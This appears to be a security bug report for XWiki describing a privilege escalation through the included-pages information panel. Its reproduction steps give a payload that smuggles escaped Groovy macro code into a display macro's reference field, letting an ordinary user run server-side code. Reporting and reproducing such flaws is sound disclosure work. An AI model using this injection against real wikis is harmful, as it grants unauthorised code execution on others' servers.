Privilege escalation (PR) from account through IncludedPagesDocumentInformation panel

Steps to reproduce:

1. As a user without script or programming right open your user account (or any other document you can edit with the wiki editor.
2. Set the content to

   {{display reference="{{cache~}~}{{groovy~}~}println(~"Hello from Groovy~" + ~" in included document!~"){{/groovy~}~}{{/cache~}~}"/}}

   .

3. Click "Save"
4. Refresh the document in the browser.

Expected result:

The panel at the right of the editor displays

One included page: 
{{cache}}{{groovy}}println("Hello from Groovy" + " in included document!"){{/groovy}}{{/cache}}

.

Actual result:

The panel displays the text

One included page:
    XWiki.Hello from Groovy in included document!

This demonstrates a privilege escalation from simple user account to programming rights.